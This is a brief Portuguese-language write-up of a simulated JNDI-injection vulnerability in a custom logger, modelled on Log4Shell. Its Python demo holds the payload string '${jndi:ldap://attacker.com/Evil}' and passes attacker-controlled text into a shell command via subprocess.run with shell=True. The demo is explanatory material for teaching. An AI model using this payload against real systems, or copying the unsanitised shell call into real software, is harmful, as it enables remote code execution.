CVE-2026-21011 – Injeção JNDI estilo Log4j em Logger Personalizado (Simulado)

Código do Programa (simulação em Java via Python)

# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re

def log(message):
    # Vulnerable: looks up JNDI-like syntax and executes
    pattern = r'\$\{jndi:(.+?)\}'
    for match in re.finditer(pattern, message):
        lookup = match.group(1)
        if lookup.startswith('ldap://'):
            # Simulate connecting to LDAP and loading a class
            print(f"Loading malicious class from {lookup}")
            subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True)  # just demo

log("User-Agent: ${jndi:ldap://attacker.com/Evil}")

CVE-2026-21011 – Injeção JNDI via Logger Personalizado

Visão Geral

Um framework de logging personalizado avalia padrões ${jndi:...} em mensagens de log, de forma semelhante à infame vulnerabilidade Log4Shell. Um atacante pode injetar uma consulta JNDI para carregar e executar código arbitrário de um servidor remoto.

Detalhes da Vulnerabilidade

• Tipo: Injeção de Código / Injeção JNDI
• Impacto: Execução Remota de Código.
• Causa Raiz: O logger analisa dados controlados pelo usuário e realiza consultas dinâmicas com base no conteúdo.

Demonstração do Exploit

Execute a simulação:

python log4j_sim.py

O script exibe que carregaria uma classe do servidor LDAP do atacante.